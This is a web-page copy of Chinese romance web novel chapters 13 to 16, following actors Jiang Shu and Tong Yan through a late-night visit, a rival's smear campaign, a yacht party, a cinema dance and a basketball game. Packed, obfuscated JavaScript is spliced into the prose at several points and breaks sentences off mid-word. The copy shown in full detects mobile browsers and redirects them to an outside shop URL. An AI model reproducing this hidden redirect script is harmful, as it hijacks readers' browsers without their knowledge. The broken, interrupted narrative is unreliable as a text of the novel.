该说的话，除夕那晚已经说过了，再提无意，说不定，她已经不再需要他这个朋友了。 他的联系对她而言，也许是种打扰。 就这么一天一天地，好像少了她也没什么，生活照样过，只是在回到空无一人的家里时，偶尔会想起除夕夜那晚盛大的烟火，还有她受伤的眼神。 今晚林慧心突然到访，他确实没想到，也许是童颜拜托她来的。 真希望如此。 但他更希望，来的是童颜，哪怕发个微信给他也好。 他的渴望是那么强烈，以至于卑鄙地用了点小手段，故意让林慧心看见了他的不便。 然而，他等到凌晨一点，都没等到童颜的消息。 果然，她还是不肯原谅他。 黑暗的卧室里，江述熄灭了手机屏，无声地看向窗外漆黑的夜空。 他长久地盯着外面，不知过了多久，忽然听见门铃声。 13. 探病 江述猛然坐起身，连腰上的伤都顾不得了。 天知道，从卧室到大门口这段路，他多么虔诚地祈祷，门外的人是童颜。 果真看见她的瞬间，江述松了口气，接着一把将她拉到怀里，紧紧抱住了。 童颜猛地被他抱在怀里，吓了一跳。 楼道里黑漆漆的，房子里也没开灯，要不是对他太熟悉，她怕要喊救命了。 不过童颜很快回过神，想起他腰上的伤，拍了拍他的肩说：“你先放开我。” 江述努力克制自己的贪心，慢慢放开了她。 童颜进门开灯，回身看向他，惊讶地说：“你怎么不穿鞋呀？” 江述身穿白色睡衣睡裤，光着脚站在地上，神色是少见的……无措？ 明亮的灯光下，两人面对面站着，童颜也有点不自在，嘟了嘟嘴，别别扭扭说：“你不请我进去坐吗？” 江述点头：“你随便坐，我先去穿鞋。” 童颜走到沙发前，并膝坐好。 少顷，江述从卧室出来，手里拎了条灰色的薄毯，盖在她腿上，问：“怎么突然来了？” “我听说你伤得听严重的。”童颜说着拍拍身旁的沙发，“你快坐下，不用管我。伤还疼吗？” 江述依言坐到她身边，说：“没那么疼了。” 说完，两个人都沉默了。 好像有很多话想说，又好像什么都不必说。但总得说点什么，不然有点尴尬。 童颜揪着毯子，说：“我本来在外地拍戏，听心姐说你受伤了，你的腰本来就有旧伤嘛……我就想来看看。但是天太晚了，打车打了好久，好不容易打到一辆愿意跨城跑的，我出来的急，连衣服也没顾上换。” 她啰啰嗦嗦说了很多，详细交代了她为什么要来，又为什么穿着运动短裤和T恤就来了。 江述知道她是没话找话，为了掩饰自己的尴尬。 但他们之间的结，必须有人来解开，不能任由它留在那里。 “童颜，你原谅我了吗？”他轻声问。 童颜快速看了他一眼，又转开了视线：“什么原谅不原谅的，我本来也没有怪你。我知道的，你是为我好嘛！我这个人，头脑简单，很多事不愿意深想，一向得过且过的，你是旁观者，比我看的清楚。是我自己气上头了，但你也知道，我一般生气不会长久的，之所以没联系，是不好意思打扰你。” “童颜，我想让你记住一件事。”江述不想和她并肩而坐，他想看着她的脸，于是起身，坐在茶几上，直视她的眼睛说，“你来找我，什么时候都不算打扰。” 他的神色那么认真，好像这是一件非常要紧的事，童颜听得有点呆住了，莫名地，还有点不敢和他对视。 她垂下眼，说：“我知道了。” “那么，我们讲和了？”江述微微倾身，偏头看她的眼。 童颜躲不过去，只得看向他，鼓了鼓腮帮子：“不讲和能怎样呢？你现在是伤员，我不跟你计较。但你要记得，我今晚好不容易来看你的，你欠我个人情，以后要还的。” 江述露出了见到她以来的第一个笑。 “好。” 童颜也开心了，这时才注意到他额角的纱布，于是总算记起，她是来探病的，指着纱布问：“这里怎么了？” “摔的时候磕了一下，擦破点皮。” “那腰上的伤呢，怎么弄的？还疼不疼？” 江述不想把时间浪费在这些事上，随口敷衍了两句：“拍警匪悬疑片，打斗戏多，磕碰难免，歇一歇就好了。” “真的没事吗？”童颜狐疑地盯着他，“你总是把自己的事说的轻描淡写，要是我，我肯定满地打滚，喊得全世界都知道我受伤了，很疼的。” 江述笑了笑：“我怎么记得，有人上次拍戏伤了膝盖，也是忍着不吭声，还带伤上阵，一副女中豪杰模样。” 童颜被他斗得直乐，乐完了又问：“这几天不能拍戏了吧？” “嗯，跟组里请假了，在家休息两天。”他说着指了指额角，“主要是这，破相了没法上镜。你呢？就这么跑过来，明天的戏怎么办？” 童颜摆了摆手：“我明天夜戏，下午四点回到剧组就行。你不要老坐着了，腰伤得趴着，不然老用劲儿怎么恢复呢。”说着就伸手去扶他，“走，回屋睡觉。” 江述在她的搀扶下站起身，缓缓走回卧室。 童颜先一步跑到床边，掀开被子，再扶他慢慢坐到床上。 她要去搬他小腿，被江述制止了， “我自己来，还没残废到那地步。” “哦。” 江述靠躺在床头，对童颜说：“自己去客房，床单被子都是新的。” “你别管我了。”童颜冲他扮个鬼脸，“我反正也就睡几个小时，明天一早就走。” 江述一愣：“还有别的事吗？你可以睡到自然醒，在这吃了饭，我送你回剧组。” 童颜摇了摇头：“早上人还少点，天亮了狗仔都出动了，看见我从你家出来，还穿成这样，该给你找事了。” 江述皱眉：“我不在意。” “我在意行了吧！可不敢轻易招惹你们这种当红男明星，怕你粉丝撕了我。而且你还受着伤，怎么能让伤员跑长途送我呢。” 童颜边说边扶他躺下，问：“需要翻身吗？” 江述摇了摇头，童颜给他盖好被子，左右看看，也没有什么需要她做的了，就说：“那我去睡了，你有事，微信震我吧。” 江述看着她，想说什么，却终究没开口。 童颜关了卧室灯离开。 凌晨两点。 江述收到一条微信：「睡着了吗？」 是童颜发来的。 他想让她好好睡觉，本不打算回复。 童颜也没耐性，不过等了几秒，就又发来一条：「看来睡着了。」 江述忽然不想断开对话，于是快速回复：「还没有。」 怕她顾虑他的伤，又主动说：「白天睡多了，现在还不困。」 不开美颜：「那我陪你说说话吧。」 江述：「你不困吗？」 不开美颜：「还可以。」 江述：「想说什么？」 不开美颜：「说说你吧，红的感觉怎么样？好吗？」 江述：「忙。一般。」 不开美颜：「切！你就凡尔赛吧，这种忙多少人求都求不来。」 江述想到，童颜此刻肯定撇着嘴，不由笑了下：「你呢，最近还好吗？」 聊天界面显示“对方正在输入”，过了很久都没信息过来，江述正要追问，童颜回复了。 不开美颜：「不是在说你嘛」 江述沉默片刻，回：「好，说我。我这几个月，跑完了《宦海》的宣传，拍了几个代言，参加过一个发布会，几个采访，其他时间都在剧组里拍戏。」 不开美颜：「你好无聊哦。」 江述：「嗯。我很无聊。」 至此，似乎彼此都没话可说了。 可江述不甘心，又发了一条：「所以童颜，跟我说说你，过得开心吗？」 她开心与否，是他最关心的事。 过了好一会儿，终于收到回复：「就那样吧。工作很充实。恋爱，也还行。我应该满足了。」 简单的一句话，看上去没问题。 最大的问题是，这不是童颜会说出来的。 她一向爱恨分明，是非极端，好就是好，不好就是不好，很少会说“就那样”、“还行”、“应该”这种词。 江述沉默地盯着这句话，一时不知该怎么回应。 他希望她一切顺利，工作顺心，恋爱甜蜜……可，她如果当真恋爱甜蜜，他就真的安心了吗？ 传说黑暗里会有神明降临，江述不想欺骗自己，更不敢隐瞒神灵。 他没有那么无私……不敢再往下想，念头至此就够了。 江述：「童颜，做你自己，我就在你身后。」 很久没收到回复。 江述想，她应该是捧着手机睡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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《玉京第一春》拍摄期间，童颜耍大牌的谣言就是她找人曝的，还有这次的童魏恋情瓜，也是她操作的。 更炸裂的是，关于童颜被金主包养的传闻，近期可能还会有一波动作，具体什么动作，不清楚。 小钟告诉林慧心，虽然娱记算不上什么光彩职业，但大多数从业者还是有职业操守的，只曝瓜、不造瓜，但帮孙艺涵办事那娱记郑伟，平时就爱整些造谣抹黑的下作手段。 圈里虽然不齿郑伟的行为，但明面上不会撕破脸，毕竟都是靠倒卖信息过活的人，人脉就是银子。 小钟偶尔也会约郑伟喝酒，这次有关童颜的消息，也是郑伟喝醉了，自己秃噜出来的。 根据以往的合作经验，小钟给过来的信息，十有八九是真的。 林慧心虽然生气，但还能保持理智。 童颜直接爆粗口了：“我就说怎么那么巧，每次我有点什么负面消息，都少不了她的身影！枉我曾经还以为她人不错，原来是他妈的好一朵盛世白莲花。我就不明白了，这女的是没别的事干了吗？黑我，她就能长长久久地红下去了？” “我去找她经纪人聊聊。”林慧心说着拍了拍她，“你呢，暂时当什么都不知道，圈子就这么大，抬头不见低头见的，别把关系搞得太僵。” 童颜嗤笑一声：“是我要把关系搞僵吗？好啊，她不是不安分嘛，那就斗一斗！” 第二天，庆功宴在天鹅湾的豪华游轮上举行，下午三点，《玉京第一春》剧集相关方悉数到场。 酒会晚上六点开始，在此之前是social时间。童颜跟制片人导演等人打过招呼，就去甲板上拍宣传图了。 过不多时，魏子铭和孙艺涵也过来了。 两人言笑晏晏，一对璧人般并肩走到童颜身边。孙艺涵问：“你怎么这时候才拍呀？” 童颜和魏子铭对视两秒，没说话。 视线转到孙艺涵脸上，忽然不屑地笑了一下，轻飘飘转开眼，看向跟摄影师。 “换个地方拍吧，这里空气突然不好了。” 14. 求你 童颜说完，拎起裙摆就走了。 留下魏子铭一脸莫名，孙艺涵表面微笑，暗自咬牙。 童颜拍完了物料，补妆的间隙收到魏子铭微信：「颜颜，你怎么了？」 这段时间，童颜已从见魏母的不快里调整好心情，和魏子铭之间也恢复了正常相处。 好像是从除夕夜被江述点出问题后，她开始有意识地剥离粉丝的身份，去面对魏子铭。这个转变并不容易，好在事业越来越顺，给她增添了不少底气。 当童颜以一个女人的视角去看魏子铭，她发现，他不再是完美无瑕的。 温柔善良、正直真诚、有深度、有教养、浪漫……粉丝贴在他身上的诸多标签，大部分都没错，但那并不能组成一个立体的他。 或者说，她以前爱的，是由无数美好词汇包装起来的纸片人，那只是她的想象，而不是真实的魏子铭。 真实的魏子铭，在与现实迎头相撞时，也会固执，会内耗，会不耐烦。当童颜对偶像祛魅，试着把魏子铭当作平等的人去爱，她发现他仍然是美好的，可爱的。 尽管有时也会失望，但她自己也并不完美，不能要求魏子铭无缺。 「没事啊。」童颜回复他。 很快，魏子铭又发来消息。 MING：「为什么对孙艺涵那样说话？」 不开美颜：「什么为什么？我不爽她啊，你又不是刚刚才知道。」 MING：「即便如此，也没必要闹得太难看，你这么做，岂不正好让她有理由借题发挥？」 不开美颜：「怕她呀我！说我耍大牌，找人爆料我们的关系，一桩桩一件件，她发挥的还少了？」 MING：「你从哪里听来的消息？会不会有什么误会？要不我组个局，跟她当面聊聊？」 误会。 不开美颜：「你以什么身份组局？我男朋友？还是她发小？」 MING：「颜颜，你不要一提到她就这么尖锐，我们就事论事，有问题解决问题。」 童颜不想继续聊下去了。 不开美颜：「我们之间除了她，还有话可聊吗？」 魏子铭没再回复，童颜自觉话说过头，于是又发了一条：「抱歉。我情绪不好。没有针对你的意思。」 MING：「没关系。我们不提她了。」 * 魏子铭在甲板上靠着栏杆吹风，孙艺涵去和人说了会儿话，又回到了他身边，两人并肩站着。 “不开心吗子铭哥？”孙艺涵歪头问。 魏子铭摇头：“没有。” 孙艺涵轻轻推了他一下：“别骗我了。我还不了解你？” 魏子铭转着手里的香槟，沉默片刻，转头看她：“我和童颜的事，是你找人曝的吗？” 孙艺涵一愣：“童颜这么跟你说的吗？”她收起脸上的笑，一副很受伤的样子，“我图什么？曝光你们对我有什么好处？我不理解，到底哪里惹了童颜，回回见面，都像我欠了她八百万！还是说，她误会了咱俩的关系，那我应该怎么做？以后见了你，直接绕道吗？” 孙艺涵越说越委屈，抬腿就要走，魏子铭拉住了她。 “你别误会。我只是随便问问……会所那晚，你也在。” “所以呢？我在就是我干的吗？子铭哥，你一向是最理智的人，这么多年，跟圈里所有人都处得很好，现在因为童颜，你质疑我，以后她再对别人有看法，你是不是又要去质疑别人？” 魏子铭叹了口气：“对不起，我跟你道歉。” 孙艺涵平静了些，语重心长道：“子铭哥，你别色令智昏，丧失了判断能力。我听人说，有个大佬对童颜很有好感，具体我不能透露是谁，但他们私交很好……” “我了解童颜，她不是这样的人。”魏子铭皱眉，打断了她的话。 * 晚上六点，酒会准时开始。 游轮五层的宴会厅里衣香鬓影、曲声悠扬。 林慧心靠近童颜耳边说：“追光的大BOSS潘秋生都来了，可见《玉京》这个剧的市场表现有多好。你一会儿去敬潘老板一杯，追光的制作发行能力那么强，咱们打好关系总没错。” “知道了。” 正说着，林慧心手机震动，她小声接听了往外走。 童颜一边喝酒，一边心不在焉地听潘秋生讲话。 忽然，有人站到了她身边。 童颜扫了眼，随口道：“你来了。怎么这么晚啊？” “航班延误。”江述说着，转头看她一眼，“兴致不高？谁惹你了？” “没有啊。”童颜懒得多说。 江述也不多问，转身走开了，过了一会儿，又回到童颜身旁，拍了拍她。 童颜疑惑转头。 “给你变个魔术。”江述说着，晃了晃手里的两根吸管。 童颜来了兴趣。 江述将粉色和蓝色两根吸管十字交叉，然后捏住粉色吸管的一端，绕着蓝色吸管，逆时针缠绕一圈。接着，捏住蓝色吸管的一端，先下后上，绕着粉色吸管缠一圈。 这时候，粉色和蓝色两根吸管就紧紧绑在了一起。 “仔细看啊。” 江述眼含笑意，童颜目不转睛。 接下来，将粉色吸管两端并拢，蓝色吸管两端并拢，这时候，粉色和蓝色形成拔河之势。 江述对着中间两个吸管中间的死结吹了口气，然后两手同时向反方向用力，一拔，两根吸管就分开了，并且各自完好无损。 “欸？！怎么回事？我没看清，你再演示一遍。”童颜惊道。 江述摇了摇头：“秘术只传一遍。” 童颜“哼”了一声，夺过吸管，按照他刚才的样子操作，试了两次，都没能分开。 最后没耐心了，直嚷：“你快点的！再给我演示一遍！” “求我。” 童颜瞪着她，呼呼喘气，忽然把吸管丢到身旁的高脚圆几上。 “不玩了！”连江述也来给她添堵。 江述心知让童颜不快的事只怕不小，于是也不再逗她，捡起吸管，说：“我再演示一遍。” “我不看了！”童颜赌气。 江述无奈地笑：“大小姐，别气了，我求你看，行吗？” 童颜抿着嘴拿了会儿乔，瞥他一眼：“是你求我的哦。” “嗯，我求你。” 童颜莫名脸热，也不再作了：“开始吧。” 江述重新来了一遍，这次边做，边讲动作要领。 “……第二步是关键，仔细看啊，绕的时候一定要从前往后，这样中间的结其实是开放的，只是被手捏住了，看不出来。如果你从后往前绕，两根吸管就真缠死了，分不开的……” 童颜边听边点头，等江述讲完，又照着他说的操作一遍。 “成了！好厉害，你跟谁学的啊？” “一个戏里的桥段。” 童颜点了点头，过了一会儿，说：“你以后的伴侣肯定很幸福。” 她随口一说，江述却沉默下来，片刻自嘲地笑了笑：“可惜。” “可惜什么？”童颜疑惑。 江述眸色深深，直视她说：“可惜，她不喜欢我。” 童颜登时惊了。 江述有喜欢的人了？ 那人竟然还不喜欢他？！ 江述欸……这么一副牛逼轰轰的样子，竟然也会有人让他吃瘪？ 童颜一时不知该赞叹，还是心疼江述。 “你这什么表情？”江述皱眉。 童颜直摇头，怜爱地看了他一会儿，拍拍他的肩说：“天涯何处无芳草，别灰心。瞧不上你，是他眼瞎。” “……” * 台上潘秋生讲完了话，主持人cue主创上台。 童颜和孙艺涵碰到了。 两人前后脚走上舞台，一个清纯无辜，一个活色生香，边走边小声说话。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464637|141838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>孙艺涵：“童颜，你刚刚什么意思？” “字面意思。你听不懂？” “我不知道你对我有什么误解。如果你听了什么小道消息，是不是该亲自向我确认？而不是问都不问一句，就阴阳怪气我。” “别装了。累不累呀！”童颜忍住了翻白眼的冲动，“你背地里耍的那些手段，我清楚。如果你不介意，我也可以让大家都清楚。做姐妹这么久，不光你了解我，我也知道你不少事呢。奉劝你，别自掘坟墓，我这个人疯起来，一般人可受不了呢！” 热烈的掌声里，童颜和孙艺涵并肩站在台上，嘴角都是微微上扬的，孙艺涵眼底却没有丝毫笑意。 接下来，潘秋生为主创团队颁奖。 颁的都是诸如“头发最少编剧奖”、“肝火最旺导演奖”之类的，只为逗个乐子，让大家露个脸讲几句话，完事就是自由活动时间了。 童颜原想抓住江述说话的，不巧林慧心来跟她对海报，不过两分钟的功夫，再回头，已经看不见人了。 倒是看见魏子铭和孙艺涵围着潘秋生敬酒。 两人跟连体婴一样的，走哪都不分开。没办法，谁让人家是男女主呢。 童颜懒得理会，一个人走出宴会厅溜达，不知不觉，走到了游轮顶层中部的室外游泳池。 夜色里，聊胜于无的灯光下，童颜看见泳池对岸的躺椅上有一男一女，正在嬉戏调笑。 怕打扰别人，她正要离开，忽听那男的喊了一句：“等等。” ……潘昀？她没听错吧？ 童颜大呼失算，几乎想当场遁走，但潘昀已经披上浴袍走了过来：“童颜？” “潘……Austin。”童颜微笑回首。 潘昀系着浴袍带子，脸上是戏谑的表情：“不想看见我？” 童颜继续假笑：“没有。不想打扰您的雅兴。” “你不算打扰。”潘昀继续撩骚。 沉默片刻，童颜深吸一口气：“Austin，您别总跟我说这种模棱两可的话。咱们的关系，也没熟到这种程度吧？” 潘昀哈哈大笑，一双桃花眼眯得还没卧蚕大，鼻挺、唇薄，这长相，莫名却让人有几分熟悉感，总之，也算不上多讨厌。 “终于不装了？我还以为你功力多高呢，在我这千年的狐狸跟前装正经。我不就是跟你示好了几次嘛，不喜欢就不喜欢，本公子又不是拿得起放不下的人。” “真的？”童颜小心地确认。 潘昀“嘿”一声：“你说说，我哪儿让你瞧不上了？” 童颜见他如此坦然，当真放了心，于是直白道：“我有喜欢的人了。” “哦？是那个魏子铭？” “不是。”童颜急忙否认，“是……一个圈外人。” “好吧。”潘昀耸了耸肩，“改天约出来玩儿，让我见识见识，能入你眼的到底是尊什么佛。” “……好啊。” 潘昀走到沙滩椅旁边，端起两杯香槟，递给童颜一杯，说：“这回，咱们算是熟人了吧？”下次见了我，不能再认生了哦。” 他这话说的，跟哄小朋友似的，不过童颜对他放下了戒备，倒也不觉得油腻，于是真心地和他碰了下杯。 “必须的！” 她穿着露肩晚礼服，在外面呆久了，有点凉，忍不住打寒战，于是找借口告辞了。 潘昀在她离开后，拨了个电话，响了好几声那边才接。 “你确定，她跟魏子铭在一起？”潘昀直接问。 * 回宴会厅的路上，童颜经过一个电影放映厅，门口牌子上写着，在播电影是《爱乐之城》。 她一时兴起，推开了影厅的门。 厅不大，能坐五六十人的样子。前方屏幕上，艾玛·斯通站在黑暗中唱独白——快演到结局了，可惜没人看……不对，有一个人。 影厅太暗，童颜定睛分辨了一会儿才看清，第一排靠边的座椅上，坐的是江述。 15. 反杀 她猫着腰，点起脚走到他身边，伸手拍他：“江述！” 江述惊了一下，转头看见她，问：“你怎么来了？” “我才要问你！”她推江述起来，坐到了他的位置，把他挤到了里边，“大家都在宴会厅，你怎么一个人躲这来了？” “你不也跑出来了。”江述闲闲道。 童颜想起离开宴会厅的缘由，脑海里自然浮现那一双璧人，于是有些不快，朝江述撒气：“不想说算了！我还不想问了呢……” 她边说边起身要走，却被江述攥住手腕：“看完再走吧，快结局了。” 他坐着，童颜站着。 画面的光影在他脸上变幻，只有那双眼睛定定的，凝着她。 双方僵持片刻，不知怎么，童颜突然感觉江述有点可怜，于是“哼”了一声，气咻咻地坐下。 “不和你一般见识。” 江述无声地笑了笑。 童颜是安静不下来的人，看了一会儿就说：“我不喜欢这电影的结局。明明米娅和塞巴斯蒂安分别前，两人都还爱着彼此，最后却没有在一起。” “那就是不够爱。”江述顿了顿，补充说，“至少相比爱情，他们的梦想更要紧。” 童颜想了想，点头：“他们当初注意到对方，就是因为对方身上那种为梦想坚持不懈，却屡屡碰壁的落魄劲儿。两人太像了，与其说是爱情，倒不如说是惺惺相惜的知己。” 童颜说完，深深叹了口气。 “叹什么气？”江述问。 “我一直把这电影当个爱情片看来着，现在忽然发现，它是个励志片。这样说起来，结局还挺圆满的，至少他们都实现了梦想。可是，就不能两者兼得吗？”童颜有点遗憾，“追求梦想，就必须牺牲爱情吗？” 江述没说话。 童颜突然好奇：“你的梦想是什么？” 江述盯着她静了几秒，神色里有她看不懂的情绪：“不好说。先好好演戏吧。” “切，这就好像在说，好好打工吧，太笼统了！你的梦想难道不应该是，拿金狮金熊金棕榈奖，成为国际知名演员之类的吗？” 江述没回答，反问童颜：“你的梦想是拿三金，成为国际知名的演员吗？” 童颜噎了一下。 她自知渺小，而这样的梦想太过远大。但是梦想，不就是做梦才敢想的吗？ “是！”童颜昂起下巴，给自己打气，“我吧，误打误撞进了娱乐圈，演了一些角色，发现靠这张脸能挣钱，挺好。有人说我花瓶，那就当我是花瓶好了，长得好也是我妈给我的底气呀！但是渐渐地，我不喜欢这个词了，我希望演更好的戏，把角色演得让人拍案叫绝，我希望拿很多很多的奖，到我死的那天，骄傲地告诉我的子孙们，我度过了充实而灿烂的一生！” 童颜慷慨激昂地说完，身边人没反应，她忍不住转头。 江述正静静地看着她，搞得她都有点不好意思了：“即便做不到，我想想不犯法吧！” 江述笑了起来，说：“你会做到的。” “真的？”童颜眼中迸发出愉悦之色。 她总是近乎盲目地信任江述。 即便她说再荒唐的话，如果江述肯定她，说，你会做到的，她就会感觉，浑身充满了动力和斗志，仿佛真的已经胜利在望。 电影开始播放片尾曲了。 童颜起身跑到屏幕前，随着欢快的舞曲开始旋转。 “江述，我好快乐呀！” 她已经许久没这么开心了。 跳了一会儿，又跑回座位上，把江述拉出来。 “你跟我一起跳！” 江述无奈地笑：“我不会。” “我教你呀！” 她说着左手环上他的腰，右手与他掌心交握，摆出探戈的姿势。 江述抬起左臂，轻轻抵在她后腰，在她的引导下，随着舞曲快速地前进后退、旋转踢踏、拉进又推远。 童颜眼中笑意明亮，他也受到感染，尽情享受和她一起舞动的快乐。 少顷，片尾换了舒缓的曲子，她的步子也慢下来，偎在他身前，轻轻晃动。 江述忽然开口，唱起这部电影的经典歌曲。 Cityofstars Areyoushiningjustforme Cityofstars There''ssomuchthatIcan''tsee Whoknows IfeltitfromthefirstembraceIsharedwithyou Thatnowourdreams They''vefinalletrue Cityofstars Justhingeverybodywants Thereinthebars Andthroughthesmokescreenofthecrowdedrestaurants It''slove …… 童颜跟着他低沉的嗓音轻轻哼唱，直到最后一句歌词的尾音落下，两个人脚步不停，静静相拥，谁都没有开口。 忽然，童颜笑着仰起头，似乎想说话，触及江述目光的刹那，却怔住了。 她仿佛透过他的眼睛，看见了海面上浪花朵朵、日升日落，直到晚霞侵占了整片天空，直到奔流的海水和呼啸的风一起归于沉寂，她的心突然猛烈地跳了两下。 他的手还揽在她后腰，掌心灼热的温度透过轻薄的礼服裙，令她有点手足无措。 瞄他一眼。 又瞄一眼：“你……你放开呀。” 江述从一场大梦中醒来，缓缓放开了手。 两人沉默相对，气氛有些许微妙的尴尬。 童颜搜肠刮肚想说点什么，还没开口，肚子就先叫唤起来了。 江述眼底染上笑意。 “走吧，去吃点东西。” “哦。” 童颜难得没有恼羞成怒，乖乖跟他离开了影厅。 回到宴会厅，酒会气氛正酣。 林慧心一直在找童颜，见她回来，皱着的眉头终于松开了。 “祖宗，你跑哪去了？再不回来酒会该结束了。快快，咱们去敬酒。”说着朝江述笑笑，“刚刚李正也在找你，这会儿不知道上哪去了。我们先走了啊。” 童颜被林慧心拉着敬了一圈酒，更饿了，她去餐台找吃的，这时，魏子铭朝她走了过来。 童颜抿了抿嘴，不想理他。 魏子铭当然看出了她的不快。 他慢慢走到她身旁站定，嘴角噙着一丝笑意，温声说：“一晚上跑的不见人影，这会儿知道饿了？” 童颜“哼”了一声：“你的女主角呢？” 魏子铭摇了摇头，语气轻缓，略显无奈：“颜颜，她不是我的女主角，你才是。” 童颜嘴角忍不住翘了起来。 “不生气了？”魏子铭低声问。 童颜傲娇地瞪了他一眼：“谁生气了？我是那么小气的人吗。” 魏子铭笑了起来：“自然不是。”说着朝钱导那边看了看，“我跟他们约了一会儿打球，你要不累的话，去帮我加油吗？” 童颜点点头：“那你等我回去换身衣服。” “不着急。你先慢慢吃。” 两人正说着话，江述过来了。 童颜看见他，指着一盘秋刀鱼说：“江述，你尝尝这个，特别鲜，比你做的还好吃。” 江述夹了一块送到嘴里。 “怎么样？”童颜期待地问。 江述挑眉：“确实不错。” “是吧。你的厨艺该精进了哦。” 两人一问一答，旁若无人。 魏子铭心头掠过一丝不快，适时打断道：“江述的厨艺很好？” 江述摇头：“谈不上。” “谦虚什么呀！”童颜拍了他一下，转头对魏子铭说，“江述做饭真的很好吃，我经常想，如果他不做演员了，还可以去开餐厅。” 江述好笑地瞥她一眼：“我如果开餐厅，一定请你代言。” “好说好说，代言费给够就行。” 魏子铭越发不快，默了默，对江述说：“我跟摄制组的几个哥们要去打球，一起吗？” “哇哦——”童颜眼睛亮起来，兴致勃勃的样子，“你们要比赛吗？” 童颜一向也算心思敏感，这会儿却神经大条起来，丝毫没有发现对视的两人有什么异样。 江述却从魏子铭的眼神中，嗅到了同为雄性的胜负欲。 “好啊。”他淡淡地回。 * 露天体育场在游轮顶层，靠近船尾的位置。童颜换好衣服到达的时候，篮球场上已经开战了。 魏子铭和江述分属红、蓝两个队伍，场边围观的都是剧组同事。 林慧心抓着助理导演李辰问：“现在什么情况？” “第一场结束了，红队，哦就是魏哥他们队赢了。现在是第二场。” 童颜平时不爱运动，也不懂篮球规则，只见场中一群人带球跑来跑去，你推我挡，颇有点专业球队那阵势。 红蓝计分牌显示4：3，魏子铭队领先。 李辰说了句：“魏哥这队有点强哦！” 身旁的人应和：“肯定的。魏哥队里摄制组的小董，别看年纪不大，那可是差点选进国家队的人才！” 童颜一副兴致勃勃的模样，眼睛看不过来。 林慧心撞了撞她肩膀，悄声说：“一个男朋友，一个好朋友，你给哪个加油？” “哪个快没油了，我就给哪个加！”哼，她才不会掉入这种问题陷阱。 正说着，江述进球得2分，蓝队比分赶超。 童颜见状握拳大喊：“红队加油！” 刚喊完，江述往她这边扫了一眼，童颜瞬间熄火。 然而很快，魏子铭的队伍又追平了比分，童颜又喊：“蓝队加油！” 她一个人喊得乱七八糟，在场边蹦跶的比球员还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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结果手刚举起来，江述也看了过来……她的笑容僵在脸上，缓缓举起了另一个拳头。 林慧心忍笑，小声说：“刚刚怎么跟我说来着？” “……我太难了。” 说笑间，红蓝双方摆好阵势，比赛要开始了。 童颜拍了拍李辰：“李哥，你给解说解说。” “得嘞！” 一开始，两队打的都比较保守，李辰的解说还比较游刃有余。 “看的出来，魏哥那队的战略是以守为攻，试图贴身防守蓝队的得分后卫，哦，就是江哥。只要压制住了江哥，红队的胜算就很大。” “啊……”童颜看见那么些人缠着江述，不由得担心，“江述还有腰伤呢！” 话音未落，只见江述一个假动作，绕过了红队的防守，直接来了一个漂亮的投篮。 “……”她真是多余担心了。 不多时，魏子铭又抢到了球权，他高高跃起，一个跳投，精准命中篮筐。 很好，大家都很优秀。 气氛进入白热化，拉拉队没工夫喊加油，李辰的解说也变得断断续续，童颜紧张得全身发热。 红蓝队得分比18：16。 而时间，仅剩最后3秒！ 胜负基本已分，场边支持魏子铭的人开始欢呼。 童颜看向魏子铭，欣慰地笑了起来。 几乎同时，她也看见了在红队篮筐下伺机而动的江述。 童颜没有见过这样的江述。 他弓着腰身，神色专注地盯着半空中的篮球，像一头猛虎，凶悍地瞄准眼前的猎物， “江述输了。” 林慧心的语调甚为可惜。 然而就在这时。 令所有人都没想到的是，江述在1秒内抢过篮球，一个转身，直接从后场把球扔了出去！ 篮球飞跃整座球场。 在半空中画了一道极为流畅的弧线。 然后稳稳进框。 奇迹般以一个超远三分，绝地反杀！ 全场沸腾。 童颜震惊得说不出话。 江述的队伍拥抱欢呼，蓝队四人合力把他抬起来，抛向了半空。 童颜脑子一片空白，心跳几乎都停了。 仿佛穿越了一个世纪，实则不过几息之间，童颜再次弯起嘴角，慢慢笑了起来。 林慧心激动得直掐她手臂。 “我的天啊，江述太XX牛逼了！” 童颜没应这句话，她转头看向红队的方向，魏子铭正在安慰队友。仿佛感受到童颜的视线，他转头看了过来。 童颜朝他高高竖起两个大拇指。 魏子铭笑着摇了摇头。 沸腾过后，钱导再次吹响口哨。 “我宣布，本次比赛获胜队伍是，蓝队！接下来，有请风潇潇，向蓝队送出奖励！” 大家哄笑着鼓掌，有人喊了一句：“唱歌唱歌，我们要听情歌！甜得齁死人的情歌！” 童颜佯作生气地指着那人：“闭嘴！” “情歌！情歌！情歌！”全场异口同声。 “……” 童颜被赶鸭子上架，站到了球场中间。 获胜的蓝队队员站成一横排，江述在最中间，与童颜正对着。 他盯着她，眼中隐隐带笑。 16. 讨喜 童颜一边尴尬得想逃，一边又有点气，恨不得过去踢他两脚。 转头看魏子铭，他脸上春风和煦，仿佛毫不介意，只把这件事当作游戏，童颜稍微松了口气。 磨蹭几秒，童颜说：“导演，打个商量，咱别唱歌了，我唱歌也不好听。你们一群大老爷们玩的开开心心，回头我招一顿笑话，不划算。咱们换一种奖励，好不好？” “哦？你想换什么？” “我跟蓝队的哥哥们讲几句话，保管能让大家乐，怎么样？” 大家都被勾起了好奇心。钱导想了想，说：“可以。” 童颜回身看向蓝队，清了清嗓子问：“你们有打火机吗？” 江述盯着她没说话。 身旁的四位队员摸了摸兜，一头雾水地面面相觑：“没有啊。” “那你们是怎么……点燃我的心的？” 童颜拇指和食指交错，放在心脏的位置，边说边朝前面比了一个心。 全场静默。 童颜尴尬地满地转圈。 